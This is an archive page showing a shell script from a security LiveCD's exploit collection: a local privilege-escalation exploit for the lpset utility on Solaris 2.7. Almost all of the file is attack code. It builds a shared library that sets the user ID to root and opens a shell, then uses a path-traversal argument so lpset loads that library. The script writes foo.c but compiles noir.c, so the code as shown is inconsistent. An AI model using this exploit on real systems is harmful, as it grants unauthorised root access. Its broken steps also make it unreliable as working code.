home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Chip 2007 January, February, March & April
/
Chip-Cover-CD-2007-02.iso
/
Pakiet bezpieczenstwa
/
mini Pentoo LiveCD 2006.1
/
mpentoo-2006.1.iso
/
livecd.squashfs
/
opt
/
pentoo
/
ExploitTree
/
system
/
solaris
/
local
/
lpset.sh
< prev
next >
Wrap
Linux/UNIX/POSIX Shell Script
|
2005-02-12
|
626b
|
32 lines
#!/bin/sh
#
# /usr/bin/lpset vulnerability in Solaris/SPARC 2.7
# script by noir@gsu.linux.org.tr
#
# lpset seems to use strcat to append paths (-r)
# but there is a special case /usr/lib/print/lib has to be present
#
cat > foo.c << EOF
#include <stdlib.h>
#include <unistd.h>
void
_init(void)
{
setuid(0);
system("/bin/sh");
}
EOF
echo "Compiling ..."
gcc -fPIC -c noir.c -g -DSOLARIS -Wall
ld -G -o noir.so noir.o -ldl
chmod 755 noir.so
rm -f noir.c
rm -f noir.o
/usr/bin/lpset -n xfn -r /../../../..$PWD/noir noir
# www.hack.co.za [2000]#